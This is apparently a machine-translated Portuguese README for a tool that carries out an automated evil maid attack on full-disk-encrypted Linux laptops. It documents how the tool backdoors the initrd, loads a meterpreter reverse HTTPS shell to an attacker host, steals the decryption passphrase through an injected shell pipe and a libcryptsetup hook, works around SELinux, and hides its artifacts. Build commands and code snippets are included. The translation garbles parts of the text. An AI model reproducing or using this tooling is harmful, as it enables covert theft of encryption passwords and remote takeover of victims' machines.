Automated Linux evil maid attack
Cenário
Cenário
- Laptop desligado desligado com FDE ligado
- Botas atacantes de USB / CD / Network
- Script executa e backdoors initrd
- O usuário retorna ao laptop, as botas normalmente
- Backdoored initrd loads:
- (Debian / Ubuntu / Kali)
.so
arquivo para/sbin/init
o arranque, soltando um shell - (Fedora / Red Hat Enterprise Linux)
LD_PRELOAD
.so
emDefaultEnviroment
, carregado globalmente, deixando cair um escudo.
- Ubuntu 14.04.3
- Debian 8.2.0
- Kali 2.0
- Fedora 23
- CentOS 7
Recursos atuais
python/meterpreter/reverse_https
para compilar o tempo LHOST- Senha de descriptografia FDE armazenada no ambiente meterpreter (
getenv PASSWORD
)
Detalhes
Compilação
Veja
Makefile
para obter mais informações / configuração,LHOST
é necessário no ambiente para criar o.so
comomsfvenom
é encaminhado no tempo de compilação. Também é necessário terlibcrypsetup-dev
(ou equivalente) instalado na máquina de construção. Instruções genéricas (build iso image in cwd):
LHOST=192.168.56.101 make rev.so iso
isolinux.cfg
As seguintes opções foram anexadas à inicialização do kernel:
mc superuser nodhcp quiet loglevel=0
Além disso, o
prompt
valor foi configurado0
para permitir a execução totalmente automática. Timing
Inicialização nefasta aproximada -> tempo backdoored: ~ 2 minutos Inicialização legítima aproximada -> shell ~ 90 segundos (configurável, queremos conexão em rede antes de nós)
Pré-requisitos
core.d
é um core.gz desempacotado do TinyCore com os pacotes abaixo combinados em. Core-current
é um descompactado. Core-current.iso
Os seguintes pacotes foram instalados dentro do tinycore (python, suporte ao sistema de arquivos):
- bzip2-lib.tcz
- sistemas de arquivos-3.16.6-tinycore.tcz
- gdbm.tcz
- libffi.tcz
- mtd-3.16.6-tinycore.tcz
- ncurses.tcz
- openssl.tcz
- python.tcz
- readline.tcz
- sqlite3.tcz
Adicionando novas assinaturas
No mínimo, a assinatura é a seguinte:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS
é um nome exclusivo para este sistema operacional.IDENTIFIER
é um comando de shell que possui um código de saída0
quando executado contra o initrd correto e!0
para qualquer outra coisa.ROOT
é o caminho completo ou variável onde a nova raiz é montada após o descriptografia.FILENAME
é o caminho completo para soltar o nosso binário na raiz fs. Tenha cuidado para saber o queinitrd
monta e o que é montado mais tarde.INITRDFILENAME
é o caminho completo do binário dentro do initrd. Isso é copiado para dentroMakefile
(cp ... core.d/...
) para que ele corresponda.
*FILE
, *PRE
, *POST
é executado contra o initrd como um re.sub
(por exemplo re.sub(*PRE, *POST, *FILE)
. O conteúdo *PRE
e *POST
são expandidas usando .format(**config[detectedOS])
, então sinta-se livre para expandir sua assinatura para injetar itens. Não há limite para o número de substituições que você pode executar.
Notas
\\1
expandirá para o conteúdo completo da partida (*PRE
) quando usado dentro da substituição (*POST
).- Seja cuidadoso com:
| $
Carga útil Nitty Gritty
A carga útil do
python/meterpreter/reverse_https
metasploit foi escolhida porque é mais independente da plataforma do que as linux/*/meterpreter/reverse_tcp
cargas úteis. python
parece ser instalado por padrão em todos os sistemas testados. Por padrão, a carga útil é gerada no tempo de compilação e encaminhada para o
.c
arquivo como um #define
. Isso facilita as iterações, mas não deve ser difícil salvar a carga e inseri-la manualmente. Baseado em Debian (Debian, Ubuntu, Kali)
Deixar o shell de
sistemas baseados em Debian (Debian, Ubuntu, etc.) usam uma imagem cpio gzip padrão como o initramfs. Isso contém o padrão
/init
script que funciona através da preparação do sistema para inicialização completa. Isso inclui perguntar ao usuário sua senha e montar as fs criptografadas da raiz. Para deixar cair nossa
.so
, esperamos até que o sistema de arquivos raiz tenha sido montado (então, após o usuário ter sido solicitado a senha) e copiar .so
para o /dev
sistema de arquivos. O /dev
sistema de arquivos foi escolhido, pois é acessível apenas antes do rootfs
comutado e é um suporte baseado em ram. Isso significa que o nosso .so
não tocará no disco. Para realmente usar a queda
.so
, usamos a LD_PRELOAD
variável ambiental na switch_root
chamada. Essa variável é passada para todos os executáveis filho e, como tal, o final/sbin/init
o script terá o módulo carregado. Para manter isso relativamente silencioso, verificamos se estamos carregados /sbin/init
e, em caso afirmativo, desestabilizamos a LD_PRELOAD
variável e excluímos .so
. Esta funcionalidade pode ser facilmente desabilitada se quisermos ligar aplicativos específicos. Para forçar a execução do
.so
, por padrão, após o carregamento, usamos a gcc
bandeira -Wl,-init,shell
, onde shell
é a nossa função principal. Isso especifica a função que queremos chamar init do .so
. Pense nisso como um análogo ao Windows ' DllMain
. Roubo de senha
A parte do
init
script encarregada de perguntar ao usuário sua senha e montar o sistema de arquivos raiz é a seguinte:scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
$cryptkeyscript
é encaminhado $cryptcreate
. $cryptkeyscript
é o autor da senha, e $cryptcreate
é o conversor de disco. Este tubo torna muito fácil para nós atacar. Nós inserimos o seguinte código onde o cachimbo é para escrever a senha até o final do nosso .so
: (read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Isto irá ler a senha na variável
$P
, e ambos escreverão no final do .so
e echo-lo novamente. Este código será transparente para os propósitos $cryptkeyscript
e $cryptcreate
, mas terá o efeito do site de exfiltrar a senha. Usamos \\\\\\\\x00
para substituir um byte nulo (que contabiliza muitos níveis de shell escapando) para a senha. Isso torna muito mais fácil para nossos.so
para ler a senha de volta, pois ele só precisa ler para trás do final de si mesmo até ver um byte nulo. Para fornecer esta senha ao invasor, ele é usado como uma variável ambiental na invocação da carga útil. Isso significa que o invasor pode usar o comando meterpreter
getenv PASSWORD
para recuperar a senha. Artefactos
Devido à maneira como o
.so
está a ser carregado, não haverá referências a ele em ambos /proc/1/maps
e /proc/1/environ
. O
maps
arquivo é uma lista de módulos carregados. O trecho a seguir mostra o conteúdo deste arquivo. Observe que (deleted)
, potencialmente poderia suscitar suspeitas. No entanto, ao contrário dos binários normais, não é possível acessar o.so
sem esticá-lo diretamente sem memória depois de ter sido excluído.7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
environ
arquivo é uma NULL
lista separada de variáveis ambientais na invocação. Por causa da invocação, isso significa que as modificações que fazemos no tempo de execução (desativando LD_PRELOAD
) não serão refletidas. Em ambos os casos, porquanto possamos ser enganados em todos e quaisquer processos do sistema, poderíamos apenas ligar a
read(2)
função e remover quaisquer referências a nós mesmos. Kali
Kali é uma espécie de caso especial. Tem o cpio acorrentado como mencionado abaixo, mas não usa
systemd
para inicializar. Como tal, a DRACUT
regra do sistema operacional foi generalizada de modo que ele extraia cegamente, e então a segunda detecção do sistema operacional detecta Kali. Se você adicionar um SO com um cpio contendo apenas
kernel/x86/microcode/GenuineIntel.bin
, oIDENTIFIER
a regra deve ser para o cpio anexado, pois a encontraremos automaticamente e extraí-lo-ei. Redhat Based (Fedora, CentOS)
Estes sistemas têm um formato diferente para a sua imagem initrd em comparação com sistemas baseados em Debian . Os arquivos initrd armazenados
/boot
são um arquivo cpio quase vazio, com um arquivo gpip cpio anexado. Este segundo arquivo é aquele que contém o initramfs
. Para descompactar este segundo arquivo, é necessário analisar o primeiro arquivo cpio para encontrar o fim. Alternativamente, você pode encontrar a string TRAILER!!!
e ler até encontrar gzip magic ( \x1f\x8b
). Outra diferença desses sistemas é que eles são baseados em sistema e, como tal, o
/init
executável no initamfs
é um link simbólico para o systemd
binário, em vez de um planosh
roteiro. Para ignorar essa limitação, é necessário modificar os .service
arquivos relacionados à montagem do sistema de arquivos raiz. O
usr/lib/systemd/system/initrd-switch-root.service
script contém o script que é usado para girar para a raiz recém-descriptografada. Usando o ExecStartPre
pragma é possível executar outros programas antes do pivô ter lugar. O SELinux está presente no CentOS, restringindo o uso de
LD_PRELOAD
. Um caminho de trabalho é /lib
. Isso foi localizado ao ler o arquivo em /etc/selinux/targeted/modules/active/file_contexts
uma system_u:object_r:lib_t
localização rotulada. Soltando o shell
Como as chamadas do sistema
clearenv()
antes de mudar a raiz, nossa LD_PRELOAD
variável é apagada. Para evitar isso, podemos ligar clearenv()
e, sempre, simplesmente substituir o ambiente apenasLD_PRELOAD
. No entanto, para conseguir isso, precisamos ser PID 1 dentro do initrd. Isso é mais complicado, pois não é possível LD_PRELOAD
nesse processo. Para contornar isso, substituímos /init
um script shell bash da seguinte maneira:#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
Isso funciona porque /init
é apenas um link simbólico para /usr/lib/systemd/systemd
. exec
é usado para que o processo mantenha o PID (1) parend. Uma vez que isso é impessoado, e
clearenv()
é neutralizado, é possível configurar LD_PRELOAD
o PID real 1 dentro da nova raiz. Password Stealing
systemd lida com senhas para sistemas de arquivos criptografados completamente diferentes dos scripts de inicialização baseados em Debian . As senhas são passadas usando sockets Unix que permitem enviar credenciais. Para contornar essa complexidade, o método mais fácil que encontramos para acessar a senha foi conectar a
crypt_activate_by_passphrase
função libcryptsetup
. As partes relevantes da declaração de função são as seguintes:int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
Para acessar a senha, simplesmente ativamos essa função, salve passphrase
em um arquivo e chame a função original obtida por dlsym(RTLD_NEXT, ...)
. Como acima, nós anexamos nossa senha para .so
assim poder analisar e disponibilizar a senha para o meterpreter. Artefactos
como acima, o .so mostra-se na
/proc/1/maps
, /proc/1/environ
e ps
de saída.